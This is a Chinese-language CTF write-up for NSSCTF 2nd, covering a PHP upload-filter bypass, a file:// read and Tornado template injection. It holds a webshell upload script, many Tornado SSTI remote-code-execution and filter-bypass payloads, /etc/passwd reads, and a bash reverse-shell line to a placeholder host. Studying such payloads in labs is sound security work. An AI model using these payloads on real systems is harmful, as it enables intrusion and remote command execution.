NSSCTF 2nd复现

这次比赛出现了不少的问题,比如权限设置的问题。比赛的时候又脑子坏了,想的太复杂,最后导致只做出了两道web两道misc,需要深刻检讨。最近是不是状态不对

1.php签到

这题想的太复杂了,基础的签到都做不出来

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false; }
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

一个简单的上传文件的服务,使用了waf过滤了ph,htaccess,ini函数。

stristr函数对于大小写不敏感,无法使用大小写绕过。

虽然是阿帕奇的中间件,但是并没有相关的后缀解析漏洞

注意到

1
$filename = urldecode($_FILES['file']['name']);

对传入的文件名字进行了一次url解密

在判断文件后缀的时候,使用了pathinfo()函数

pathinfo函数

以数组的形式返回文件路径的信息

1
2
3
PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
1
2
3
4
5
<?php
$name="1.php";
$a=pathinfo($name, PATHINFO_EXTENSION);
echo $a;//输出php
?>

有一个重要的特性是

当出现多个 . 时,结果为最后一个 . 后面的内容

1
2
3
4
5
<?php
$name="1.php.txt";
$a=pathinfo($name, PATHINFO_EXTENSION);
echo $a;//输出txt
?>

获取不包含后缀的文件名时,获取的是最后一个/ 和最后一个. 中间的部分

假设我们这样,就可以让他无法读取到后缀

1
2
3
4
5
<?php
$name="1.php/.";
$a=pathinfo($name, PATHINFO_EXTENSION);
echo $a;//无输出
?>

对于file_put_content()函数

无论传入的文件名字是1.php还是1.php/.

都会被解析成1.php

所以只要上传一个1.php/.就可以了

1
2
3
4
5
6
import requests
url = 'http://node5.anna.nssctf.cn:28998/'
shell = "<?php eval($_POST['shell']);?>"
file = {'file': ('l.php/.',shell)}
res = requests.post(url=url, files=file)
print(res.status_code)

windows下不支持/成文件名的一部分,无所谓可以url编码

得到flag

2.二周年快乐

快乐牛魔

又是一道脑洞题,环境提供的是网页版本的win12,看到两个hint

一个是让我curl一个什么东西,一个是叫我访问nss的flag路由

这里直接使用靶机本地的命令行curl 一下那个flag路由,然后邮箱就会收到flag

没啥意义不细说(活挺花)

3.mybox

给了一个url可以输入内容,直接尝试用file协议读取flag

1
file:///start.sh

读取到flag在/nevvvvvver_f1nd_m3

直接就可以得到flag

真正的签到

4.MyHurricane

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

tornado模板注入

第一次遇到,小孩子不会学者玩的

1.模板语法

使用一些标记把python的控制序列和表达式嵌入HTML(或者文本格式里面)

支持{ { } }和{ % % },用法和jinja2有些类似,控制语句必须使用extends结尾

支持模板继承,可以使用extends和block标签声明

表达式可以是任意的Python表达式, 包括函数调用. 模板代码会在包含以下对象 和函数的命名空间中执行 (注意这个列表适用于使用 RequestHandler.render 和 render_string 渲染模板的情况. 如果你直接在 RequestHandler 之外使用 tornado.template 模块, 下面这些很多都不存 在).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
escape: tornado.escape.xhtml_escape 的别名
xhtml_escape: tornado.escape.xhtml_escape 的别名
两者可以转义相关的字符,使得他在xml或者html里面有效
url_escape: tornado.escape.url_escape 的别名
url编码
json_encode: tornado.escape.json_encode 的别名
对python对象编码
squeeze: tornado.escape.squeeze 的别名
使用空格替换所有的空格字符=》re.sub(r"[\x00-\x20]+", " ", value).strip()
linkify: tornado.escape.linkify 的别名
datetime: Python datetime 模块
handler: 当前的 RequestHandler 对象
handler是一个class,也可以调用init方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.cookies}} //返回cookie值
{{handler.get_cookie("data")}} //返回cookie中data的值
{{handler.decode_argument('\u0066')}} //返回f,其中\u0066为f的unicode编码
{{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.settings}} //比如传入application.settings中的值
可以获取被ban的字符
——————————————————————————————————————————————————————————————————————————
request: handler.request 的别名
{{request.method}} //返回请求方法名 GET|POST|PUT...
{{request.query}} //传入?a=123 则返回a=123
{{request.arguments}} //返回所有参数组成的字典
{{request.cookies}} //同{{handler.cookies}}
————————————————————————————————————————————————————————————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/123329244
current_user: handler.current_user 的别名
locale: handler.locale 的别名
_: handler.locale.translate 的别名
static_url: handler.static_url 的别名
xsrf_form_html: handler.xsrf_form_html 的别名
reverse_url: Application.reverse_url 的别名
所有从 ui_methods 和 ui_modules Application 设置的条目
任何传递给 render 或 render_string 的关键字参数

2.简单的利用

使用extends和include去继承模板

可以利用这个文件读

1
2
3
{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}
也可以把"去掉,这里就有这一个非预期

可以使用import去引入相关的模块和包

在这里就可以执行任意命令

比如引入os然后popen(‘ls’).read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""

4、其他
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{{os.popen("ls").read()}}

4、flask中的payload大部分也通用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}